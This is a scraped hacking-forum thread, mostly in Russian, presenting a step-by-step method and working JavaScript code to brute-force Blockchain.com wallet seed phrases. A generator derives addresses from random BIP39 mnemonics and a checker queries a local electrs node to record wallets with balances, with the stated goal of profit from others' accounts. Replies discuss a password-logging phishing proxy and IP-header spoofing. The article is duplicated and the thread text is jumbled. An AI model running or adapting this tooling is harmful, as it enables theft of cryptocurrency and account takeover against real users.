Очень годная статья. Наталкивает на размышления. И главное дал удочку, а не рыбу (готовая сборка). Автору респект и уважуха.
Content Security Policy: The page's settings blocked the loading of a resource at https: //admin.blockchain.test: 444 / logos / (“connect-src”). [/ CODE]
This is latest version on blockchain.com from github. Any ideas how to fix?
Цитата
![]()
Blockchain.com Wallet - The World's Most Trusted Wallet
The world's most trusted and popular crypto wallet. Sign up today to buy and sell Bitcoin, Ethereum and other top cryptocurrencies.login.blockchain.com

далее показывается форма для смены пароля:

Выбираем настройку 12 слов и нажимаем Generate.Цитата
Цитата
south wife game layer only gun flower truth suggest police glass doctor fatal twice cushion

Цитата
![]()
Build software better, together
GitHub is where people build software. More than 150 million people use GitHub to discover, fork, and contribute to over 420 million projects.github.com

// generateMnemonic :: Api -> Promise String
export const generateMnemonic = (api) => {
return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng))
}

// createRng :: Int -> Promise Rng Error
const createRng = (maxBytes = DEFAULT_BYTES, api) => {
return getServerEntropy(maxBytes, api).then(serverH => {
let localH = _overrides.randomBytes(maxBytes)
let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes))
// Rng :: Int -> Buffer
return nBytes => {
nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES
if (entropy.isLeft) {
throw entropy.value
}
if (entropy.value.length < nBytes) {
throw new Error('rng ran out of server provided entropy')
}
let generated = entropy.value.slice(0, nBytes)
entropy = entropy.map(e => e.slice(nBytes))
return generated
}
})
}
Цитата
![]()
Build software better, together
GitHub is where people build software. More than 150 million people use GitHub to discover, fork, and contribute to over 420 million projects.github.com

Цитата
![]()
blockchain-wallet-v4-frontend/packages/blockchain-wallet-v4/src/types/KVStoreEntry.js at 76e2e586369b0bb34f0381b6074aa1cfff421038 · blockchain/blockchain-wallet-v4-frontend
Blockchain.com's open source, non-custodial Wallet - blockchain/blockchain-wallet-v4-frontendgithub.com

import BIP39 from 'bip39';
import randomBytes from 'randombytes';
import Either from 'data.either';
const DEFAULT_BYTES = 32;
import Bitcoin from 'bitcoinjs-lib'
import {compose, curry} from 'ramda';
import * as crypto from 'crypto'
import {Queue} from 'bullmq';
const myQueue = new Queue('brute');
// Expose randomBytes for iOS to override
const _overrides = {
randomBytes,
};
const generateMnemonic = () => {
let rng = createRng(16);
return BIP39.generateMnemonic(null, rng);
};
const xor = (a, b) => {
if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) {
console.log('Expected arguments to be buffers')
return false;
}
let length = Math.min(a.length, b.length);
let buffer = Buffer.alloc(length);
for (let i = 0; i < length; ++i) {
buffer[i] = a[i] ^ b[i];
}
return buffer;
};
const createRng = (maxBytes = DEFAULT_BYTES) => {
let serverH = getServerEntropy(maxBytes);
let localH = _overrides.randomBytes(maxBytes);
let entropy = mixEntropy(localH, serverH, maxBytes);
return (nBytes) => {
let positive = Math.sign(nBytes);
if (positive !== 1) {
nBytes = DEFAULT_BYTES;
}
if (entropy.isLeft) {
throw entropy.value;
}
//console.log(entropy.value.length);
if (entropy.value.length < nBytes) {
console.log('rng ran out of server provided entropy');
}
//console.log('returning magic');
let generated = entropy.value.slice(0, nBytes);
entropy = entropy.map((e) => e.slice(nBytes));
// console.log(generated.toString('hex').length);
return generated;
};
};
// getServerEntropy :: Int -> Promise (Either Buffer Error) Error
const getServerEntropy = (nBytes = DEFAULT_BYTES) => {
return _overrides.randomBytes(nBytes);
};
const mixEntropy = (localH, serverH, nBytes) => {
try {
if (localH.length === 0) {
console.log('Local entropy should not be empty.');
return false;
}
if (serverH.length === 0) {
console.log('Server entropy should not be empty.');
return false;
}
if (Array.prototype.every.call(localH, (b) => b === localH[0])) {
console.log('The browser entropy should not be the same byte repeated.');
return false;
}
if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) {
console.log('The server entropy should not be the same byte repeated.');
return false;
}
if (serverH.length !== localH.length) {
console.log('Both entropies should be same of the length.');
return false;
}
let combinedH = xor(localH, serverH);
if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) {
console.log('The combined entropy should not be the same byte repeated.');
return false;
}
if (combinedH.length !== nBytes) {
console.log('Combined entropy should be of requested length.');
}
return Either.of(combinedH);
} catch (e) {
return false;
}
};
const getMasterHDNode = curry((network, seedHex) => {
const mnemonic = BIP39.entropyToMnemonic(seedHex)
const masterhex = BIP39.mnemonicToSeed(mnemonic)
return Bitcoin.HDNode.fromSeedBuffer(masterhex, network)
})
const deriveMetadataNode = masterHDNode => {
// BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number
// we take the first 31 bits of the SHA256 hash of a reverse domain.
let hash = sha256('info.blockchain.metadata')
let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742
return masterHDNode.deriveHardened(purpose)
}
const sha256 = data =>
crypto
.createHash('sha256')
.update(data)
.digest()
const fromMetadataXpriv = curry((xpriv, typeId, network) =>
fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId)
)
const fromMetadataHDNode = curry((metadataHDNode, typeId) => {
let payloadTypeNode = metadataHDNode.deriveHardened(typeId)
let node = payloadTypeNode.deriveHardened(0)
return fromKeys(node.keyPair)
})
const fromKeys = (entryECKey) => {
return entryECKey.getAddress()
}
do {
const mmnemonic = generateMnemonic()
console.log(mmnemonic)
const seedHex = BIP39.mnemonicToEntropy(mmnemonic)
const getMetadataNode = compose(
deriveMetadataNode,
getMasterHDNode(Bitcoin.networks.btc)
)
const metadataNode = getMetadataNode(seedHex)
const mxpriv = metadataNode.toBase58()
const typeId = 12
const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin)
console.log(address)
await myQueue.add('address', {mmnemonic, address}, {
removeOnComplete: true,
removeOnFail: 500
});
} while (true)
![]()
GitHub - Blockstream/electrs: An efficient re-implementation of Electrum Server in Rust
An efficient re-implementation of Electrum Server in Rust - Blockstream/electrsgithub.com
import mongodb from 'mongodb';
const {MongoClient} = mongodb;
import {Worker} from 'bullmq'
// Адрес MongoDB
const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false";
const client = new MongoClient(uri, {useUnifiedTopology: true});
import got from 'got';
const worker = new Worker('brute', async job => {
check(job.data)
});
function check(job) {
// Делаем запросы
got('http://127.0.0.1:3000/address/' + job.address).json()
.then(function (data) {
// Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже.
if (data.chain_stats.tx_count > 0) {
console.log('Транзакций больше чем 0')
job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0
// Запись в базу данных
insert(job)
} else {
console.log(data.chain_stats.tx_count)
}
})
}
// Функция для записи в базу данных
async function insert(data) {
try {
await client.connect();
const database = client.db('seed');
const seeds = database.collection("seeds");
await seeds.insertOne(data);
} finally {
await client.close();
}
}



сомневаюсь что ты что-то словишь таким методом брута, на соседнем борде был человек продавал подобное, софт генерил сиды и чекал балики, на си написал вроде был, скорость была космической но никто ничего так и не вытянул от туда, бул один чел который про 70 бачей говорил, но и тот не факт что был не подставнойИтак, дорогие друзья, мы продолжаемраз**быватьисследовать blockchain.com)
Да, мало кто мог бы подумать, но у данной темы есть своё продолжение! ?
Несколько человек отписывало, что материал сложный для реализации, и что нужны более
простые изящные решения, дающие быстрый результат без вовлечения в подробности. Не вопрос)
Постараемся "убить двух зайцев", написав и продолжение статьи и вариант эксплуатации решения до профита)
Данный материал является дополнением к основной статье и поможет вам получить дополнительные идеи для размышления.
"Never gonna stop me, never gonna stop"(c) Rob Zombie)
Прошло всего пару месяцев и разработчики блокчейна, не теряя времени зря, выпускают обновления и залатывают указанные в первой статье уязвимости системы - это было ожидаемо. Теперь работающие по теме люди готовы заплатить приличную сумму лишь только за рабочий спуфинг, но речь будет не о нём - в своих изысканиях мы пойдём еще дальше)
Lets Go!
Из первой части мы узнали, что 12 слов восстановления позволяют получить доступ к аккаунту, при попытке восстановления по ссылке:
В браузере делается GET запрос вида
далее показывается форма для смены пароля:
А что будет если сгенерировать 12 слов через генератор, используя тот самый, уже упомянутый BIP39?
Переходим по ссылке:
Выбираем настройку 12 слов и нажимаем Generate.
Получаем результат, например:
Вводим его в форму восстановления по ссылке чуть выше и нажимаем на "Continue":
Хм... заметили разницу, что если адрес существует, то показывается только "форма для смены пароля",
а если адреса не существует, то "форма для ввода почты и пароля" !?)
Простыми словами, если аккаунт существует в системе, то отдаётся 200 ответ на запрос GET, если аккаунта не существует просто 404 ошибка...
Если всё это происходит в веб-интерфейсе, значит мы можем воссоздать генерацию и попробовать найти кошельки с балансом.
Что нам для этого потребуется:
- Найти логику генерации 12 слов
- Найти логику определения основного адреса
- Создать генератор
- Начать брут
- получить PROFIT
Сказано - cделано.
Ищем логику генерации в проекте веб-интерфейса:
Находим замечательную функцию в файле:
JavaScript:// generateMnemonic :: Api -> Promise String export const generateMnemonic = (api) => { return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng)) }
Делаем вновь поиск данной функции "generateMnemonic", где же она используется и находим, что она используется "при создании аккаунта", поэтому мы движемся в правильном направлении:
Функция содержит основную логику в файле:
JavaScript:// createRng :: Int -> Promise Rng Error const createRng = (maxBytes = DEFAULT_BYTES, api) => { return getServerEntropy(maxBytes, api).then(serverH => { let localH = _overrides.randomBytes(maxBytes) let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes)) // Rng :: Int -> Buffer return nBytes => { nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES if (entropy.isLeft) { throw entropy.value } if (entropy.value.length < nBytes) { throw new Error('rng ran out of server provided entropy') } let generated = entropy.value.slice(0, nBytes) entropy = entropy.map(e => e.slice(nBytes)) return generated } }) }
Определение основного адреса c 12 слов ищем по запросу:
И находим в файле:
Путём небольших манипуляций на основе этого файла создаём свой собственный генератор:
JavaScript:import BIP39 from 'bip39'; import randomBytes from 'randombytes'; import Either from 'data.either'; const DEFAULT_BYTES = 32; import Bitcoin from 'bitcoinjs-lib' import {compose, curry} from 'ramda'; import * as crypto from 'crypto' import {Queue} from 'bullmq'; const myQueue = new Queue('brute'); // Expose randomBytes for iOS to override const _overrides = { randomBytes, }; const generateMnemonic = () => { let rng = createRng(16); return BIP39.generateMnemonic(null, rng); }; const xor = (a, b) => { if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) { console.log('Expected arguments to be buffers') return false; } let length = Math.min(a.length, b.length); let buffer = Buffer.alloc(length); for (let i = 0; i < length; ++i) { buffer[i] = a[i] ^ b[i]; } return buffer; }; const createRng = (maxBytes = DEFAULT_BYTES) => { let serverH = getServerEntropy(maxBytes); let localH = _overrides.randomBytes(maxBytes); let entropy = mixEntropy(localH, serverH, maxBytes); return (nBytes) => { let positive = Math.sign(nBytes); if (positive !== 1) { nBytes = DEFAULT_BYTES; } if (entropy.isLeft) { throw entropy.value; } //console.log(entropy.value.length); if (entropy.value.length < nBytes) { console.log('rng ran out of server provided entropy'); } //console.log('returning magic'); let generated = entropy.value.slice(0, nBytes); entropy = entropy.map((e) => e.slice(nBytes)); // console.log(generated.toString('hex').length); return generated; }; }; // getServerEntropy :: Int -> Promise (Either Buffer Error) Error const getServerEntropy = (nBytes = DEFAULT_BYTES) => { return _overrides.randomBytes(nBytes); }; const mixEntropy = (localH, serverH, nBytes) => { try { if (localH.length === 0) { console.log('Local entropy should not be empty.'); return false; } if (serverH.length === 0) { console.log('Server entropy should not be empty.'); return false; } if (Array.prototype.every.call(localH, (b) => b === localH[0])) { console.log('The browser entropy should not be the same byte repeated.'); return false; } if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) { console.log('The server entropy should not be the same byte repeated.'); return false; } if (serverH.length !== localH.length) { console.log('Both entropies should be same of the length.'); return false; } let combinedH = xor(localH, serverH); if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) { console.log('The combined entropy should not be the same byte repeated.'); return false; } if (combinedH.length !== nBytes) { console.log('Combined entropy should be of requested length.'); } return Either.of(combinedH); } catch (e) { return false; } }; const getMasterHDNode = curry((network, seedHex) => { const mnemonic = BIP39.entropyToMnemonic(seedHex) const masterhex = BIP39.mnemonicToSeed(mnemonic) return Bitcoin.HDNode.fromSeedBuffer(masterhex, network) }) const deriveMetadataNode = masterHDNode => { // BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number // we take the first 31 bits of the SHA256 hash of a reverse domain. let hash = sha256('info.blockchain.metadata') let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742 return masterHDNode.deriveHardened(purpose) } const sha256 = data => crypto .createHash('sha256') .update(data) .digest() const fromMetadataXpriv = curry((xpriv, typeId, network) => fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId) ) const fromMetadataHDNode = curry((metadataHDNode, typeId) => { let payloadTypeNode = metadataHDNode.deriveHardened(typeId) let node = payloadTypeNode.deriveHardened(0) return fromKeys(node.keyPair) }) const fromKeys = (entryECKey) => { return entryECKey.getAddress() } do { const mmnemonic = generateMnemonic() console.log(mmnemonic) const seedHex = BIP39.mnemonicToEntropy(mmnemonic) const getMetadataNode = compose( deriveMetadataNode, getMasterHDNode(Bitcoin.networks.btc) ) const metadataNode = getMetadataNode(seedHex) const mxpriv = metadataNode.toBase58() const typeId = 12 const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin) console.log(address) await myQueue.add('address', {mmnemonic, address}, { removeOnComplete: true, removeOnFail: 500 }); } while (true)
Итак, генератор у нас теперь есть, определение основного адреса тоже, но как понять, что 12 слов поймали крупную рыбку?
Логично - нужно смотреть на наличие транзакций или просто баланс.
Можно конечно же использовать "публичные API сервисы" для запроса на наличие транзакций/баланса, но ведь всё будет упираться в лимиты таких сервисов...
Единственное возможное решение - это поднятие такого же сервиса локально, поэтому среди публичных сервисов ищем тот, который имеет API, а так же открытый код.
И мы находим сервис blockstream.info, который имеет API, а так же открытый код:
Цитата
Идеально, теперь создаём чекер:
JavaScript:import mongodb from 'mongodb'; const {MongoClient} = mongodb; import {Worker} from 'bullmq' // Адрес MongoDB const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false"; const client = new MongoClient(uri, {useUnifiedTopology: true}); import got from 'got'; const worker = new Worker('brute', async job => { check(job.data) }); function check(job) { // Делаем запросы got('http://127.0.0.1:3000/address/' + job.address).json() .then(function (data) { // Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже. if (data.chain_stats.tx_count > 0) { console.log('Транзакций больше чем 0') job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0 // Запись в базу данных insert(job) } else { console.log(data.chain_stats.tx_count) } }) } // Функция для записи в базу данных async function insert(data) { try { await client.connect(); const database = client.db('seed'); const seeds = database.collection("seeds"); await seeds.insertOne(data); } finally { await client.close(); } }
Вышли на финишную прямую.
Проверяем работоспособность генерации:
Проверяем работоспособность чекера:
Смотрим на работу electrs:
Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))
Для тех, кто просил "кнопку бабло" - как минимум, теперь у вас теперь есть хорошая удочка)
Да, конечно стоит сразу упомянуть, что на стационарном домашнем пк или виртуалках ваша генерация будет стремиться к бесконечности, и вам пригодятся более серьёзные ресурсы и мощности, но это и есть то самое, что в данной ситуации можно назвать как "без труда не вытянуть и рыбку из пруда".
При должном подходе вы всегда получите необходимые результаты, в этом нет сомнений.
Берегите себя, всем удачных реализаций! ?
шанс поймать хоть копейку таким способом очень мал, лучше не тратить зря время на этоИтак, дорогие друзья, мы продолжаемраз**быватьисследовать blockchain.com)
Да, мало кто мог бы подумать, но у данной темы есть своё продолжение! ?
Несколько человек отписывало, что материал сложный для реализации, и что нужны более
простые изящные решения, дающие быстрый результат без вовлечения в подробности. Не вопрос)
Постараемся "убить двух зайцев", написав и продолжение статьи и вариант эксплуатации решения до профита)
Данный материал является дополнением к основной статье и поможет вам получить дополнительные идеи для размышления.
"Never gonna stop me, never gonna stop"(c) Rob Zombie)
Прошло всего пару месяцев и разработчики блокчейна, не теряя времени зря, выпускают обновления и залатывают указанные в первой статье уязвимости системы - это было ожидаемо. Теперь работающие по теме люди готовы заплатить приличную сумму лишь только за рабочий спуфинг, но речь будет не о нём - в своих изысканиях мы пойдём еще дальше)
Lets Go!
Из первой части мы узнали, что 12 слов восстановления позволяют получить доступ к аккаунту, при попытке восстановления по ссылке:
В браузере делается GET запрос вида
далее показывается форма для смены пароля:
А что будет если сгенерировать 12 слов через генератор, используя тот самый, уже упомянутый BIP39?
Переходим по ссылке:
Выбираем настройку 12 слов и нажимаем Generate.
Получаем результат, например:
Вводим его в форму восстановления по ссылке чуть выше и нажимаем на "Continue":
Хм... заметили разницу, что если адрес существует, то показывается только "форма для смены пароля",
а если адреса не существует, то "форма для ввода почты и пароля" !?)
Простыми словами, если аккаунт существует в системе, то отдаётся 200 ответ на запрос GET, если аккаунта не существует просто 404 ошибка...
Если всё это происходит в веб-интерфейсе, значит мы можем воссоздать генерацию и попробовать найти кошельки с балансом.
Что нам для этого потребуется:
- Найти логику генерации 12 слов
- Найти логику определения основного адреса
- Создать генератор
- Начать брут
- получить PROFIT
Сказано - cделано.
Ищем логику генерации в проекте веб-интерфейса:
Находим замечательную функцию в файле:
JavaScript:// generateMnemonic :: Api -> Promise String export const generateMnemonic = (api) => { return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng)) }
Делаем вновь поиск данной функции "generateMnemonic", где же она используется и находим, что она используется "при создании аккаунта", поэтому мы движемся в правильном направлении:
Функция содержит основную логику в файле:
JavaScript:// createRng :: Int -> Promise Rng Error const createRng = (maxBytes = DEFAULT_BYTES, api) => { return getServerEntropy(maxBytes, api).then(serverH => { let localH = _overrides.randomBytes(maxBytes) let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes)) // Rng :: Int -> Buffer return nBytes => { nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES if (entropy.isLeft) { throw entropy.value } if (entropy.value.length < nBytes) { throw new Error('rng ran out of server provided entropy') } let generated = entropy.value.slice(0, nBytes) entropy = entropy.map(e => e.slice(nBytes)) return generated } }) }
Определение основного адреса c 12 слов ищем по запросу:
И находим в файле:
Путём небольших манипуляций на основе этого файла создаём свой собственный генератор:
JavaScript:import BIP39 from 'bip39'; import randomBytes from 'randombytes'; import Either from 'data.either'; const DEFAULT_BYTES = 32; import Bitcoin from 'bitcoinjs-lib' import {compose, curry} from 'ramda'; import * as crypto from 'crypto' import {Queue} from 'bullmq'; const myQueue = new Queue('brute'); // Expose randomBytes for iOS to override const _overrides = { randomBytes, }; const generateMnemonic = () => { let rng = createRng(16); return BIP39.generateMnemonic(null, rng); }; const xor = (a, b) => { if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) { console.log('Expected arguments to be buffers') return false; } let length = Math.min(a.length, b.length); let buffer = Buffer.alloc(length); for (let i = 0; i < length; ++i) { buffer[i] = a[i] ^ b[i]; } return buffer; }; const createRng = (maxBytes = DEFAULT_BYTES) => { let serverH = getServerEntropy(maxBytes); let localH = _overrides.randomBytes(maxBytes); let entropy = mixEntropy(localH, serverH, maxBytes); return (nBytes) => { let positive = Math.sign(nBytes); if (positive !== 1) { nBytes = DEFAULT_BYTES; } if (entropy.isLeft) { throw entropy.value; } //console.log(entropy.value.length); if (entropy.value.length < nBytes) { console.log('rng ran out of server provided entropy'); } //console.log('returning magic'); let generated = entropy.value.slice(0, nBytes); entropy = entropy.map((e) => e.slice(nBytes)); // console.log(generated.toString('hex').length); return generated; }; }; // getServerEntropy :: Int -> Promise (Either Buffer Error) Error const getServerEntropy = (nBytes = DEFAULT_BYTES) => { return _overrides.randomBytes(nBytes); }; const mixEntropy = (localH, serverH, nBytes) => { try { if (localH.length === 0) { console.log('Local entropy should not be empty.'); return false; } if (serverH.length === 0) { console.log('Server entropy should not be empty.'); return false; } if (Array.prototype.every.call(localH, (b) => b === localH[0])) { console.log('The browser entropy should not be the same byte repeated.'); return false; } if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) { console.log('The server entropy should not be the same byte repeated.'); return false; } if (serverH.length !== localH.length) { console.log('Both entropies should be same of the length.'); return false; } let combinedH = xor(localH, serverH); if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) { console.log('The combined entropy should not be the same byte repeated.'); return false; } if (combinedH.length !== nBytes) { console.log('Combined entropy should be of requested length.'); } return Either.of(combinedH); } catch (e) { return false; } }; const getMasterHDNode = curry((network, seedHex) => { const mnemonic = BIP39.entropyToMnemonic(seedHex) const masterhex = BIP39.mnemonicToSeed(mnemonic) return Bitcoin.HDNode.fromSeedBuffer(masterhex, network) }) const deriveMetadataNode = masterHDNode => { // BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number // we take the first 31 bits of the SHA256 hash of a reverse domain. let hash = sha256('info.blockchain.metadata') let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742 return masterHDNode.deriveHardened(purpose) } const sha256 = data => crypto .createHash('sha256') .update(data) .digest() const fromMetadataXpriv = curry((xpriv, typeId, network) => fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId) ) const fromMetadataHDNode = curry((metadataHDNode, typeId) => { let payloadTypeNode = metadataHDNode.deriveHardened(typeId) let node = payloadTypeNode.deriveHardened(0) return fromKeys(node.keyPair) }) const fromKeys = (entryECKey) => { return entryECKey.getAddress() } do { const mmnemonic = generateMnemonic() console.log(mmnemonic) const seedHex = BIP39.mnemonicToEntropy(mmnemonic) const getMetadataNode = compose( deriveMetadataNode, getMasterHDNode(Bitcoin.networks.btc) ) const metadataNode = getMetadataNode(seedHex) const mxpriv = metadataNode.toBase58() const typeId = 12 const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin) console.log(address) await myQueue.add('address', {mmnemonic, address}, { removeOnComplete: true, removeOnFail: 500 }); } while (true)
Итак, генератор у нас теперь есть, определение основного адреса тоже, но как понять, что 12 слов поймали крупную рыбку?
Логично - нужно смотреть на наличие транзакций или просто баланс.
Можно конечно же использовать "публичные API сервисы" для запроса на наличие транзакций/баланса, но ведь всё будет упираться в лимиты таких сервисов...
Единственное возможное решение - это поднятие такого же сервиса локально, поэтому среди публичных сервисов ищем тот, который имеет API, а так же открытый код.
И мы находим сервис blockstream.info, который имеет API, а так же открытый код:
Цитата
Идеально, теперь создаём чекер:
JavaScript:import mongodb from 'mongodb'; const {MongoClient} = mongodb; import {Worker} from 'bullmq' // Адрес MongoDB const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false"; const client = new MongoClient(uri, {useUnifiedTopology: true}); import got from 'got'; const worker = new Worker('brute', async job => { check(job.data) }); function check(job) { // Делаем запросы got('http://127.0.0.1:3000/address/' + job.address).json() .then(function (data) { // Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже. if (data.chain_stats.tx_count > 0) { console.log('Транзакций больше чем 0') job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0 // Запись в базу данных insert(job) } else { console.log(data.chain_stats.tx_count) } }) } // Функция для записи в базу данных async function insert(data) { try { await client.connect(); const database = client.db('seed'); const seeds = database.collection("seeds"); await seeds.insertOne(data); } finally { await client.close(); } }
Вышли на финишную прямую.
Проверяем работоспособность генерации:
Проверяем работоспособность чекера:
Смотрим на работу electrs:
Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))
Для тех, кто просил "кнопку бабло" - как минимум, теперь у вас теперь есть хорошая удочка)
Да, конечно стоит сразу упомянуть, что на стационарном домашнем пк или виртуалках ваша генерация будет стремиться к бесконечности, и вам пригодятся более серьёзные ресурсы и мощности, но это и есть то самое, что в данной ситуации можно назвать как "без труда не вытянуть и рыбку из пруда".
При должном подходе вы всегда получите необходимые результаты, в этом нет сомнений.
Берегите себя, всем удачных реализаций! ?
Trying with latest version. Configured the proxy etc. But to log passwords I am getting CORS error
Код:Content Security Policy: The page's settings blocked the loading of a resource at https: //admin.blockchain.test: 444 / logos / (“connect-src”). [/ CODE] This is the latest version on blockchain.com from github. Any ideas how to fix? [/ CODE] [/QUOTE] Got everything working. All fixed. Thanks for the informative article. If you can add to export private keys that would be very nice.
оговорка: лучше не тратить время без вычислительных мощностей, типа крипто-фермы)шанс поймать хоть копейку таким способом очень мал, лучше не тратить зря время на это
любой, у кого в запасе есть достаточно ресурсов и кто сможет выделить их на время - имеет шанс на успех.Хороший фейк спасибо, брут достаточно сомнителен
would you develop and pack all into 1 software? what would be the cost of something like that?caveat: it's better not to waste time without computing power, such as a crypto farm)
anyone who has enough resources in reserve and who can allocate them for a while has a chance of success.
yes, there are billions of combinations, but the system already has a little over 60kk users. of course, nothing will come of it in a couple of days,
but by allocating the capacity of a good farm and time from a month or more, the chances are greatly increased.
who decides to take this step, for that and profit.
Ты прав, вероятность все таки есть хоть и мизерная, может с первой секунды попасться, а может и целый год на это уйдет, и более вероятно что ничего не выйдет. Такое реально толкали на бхф но там челика убанили. Не знаю кто решится искать таким методом битки, но все же, никогда не говори никогдаоговорка: лучше не тратить время без вычислительных мощностей, типа крипто-фермы)
любой, у кого в запасе есть достаточно ресурсов и кто сможет выделить их на время - имеет шанс на успех.
да, комбинаций там миллиарды, но и в системе уже есть чуть более 60кк пользователей. за пару дней конечно ничего не выйдет,
но выделив мощности хорошей фермы и времени от месяца и выше - шансы очень сильно возрастают.
кто решится на этот шаг, за тем и профит.
And enabled login through email. If you follow this article on latest version of blockchain front end, some things needs to be fixed. But not very hard. One of the best tutorial.Great article, thanks
Now they seem to have slightly changed their appearance.
header_up Cf-Connecting-Ip "1.2.1.2"[/ CODE]
but it is still sending my server IP.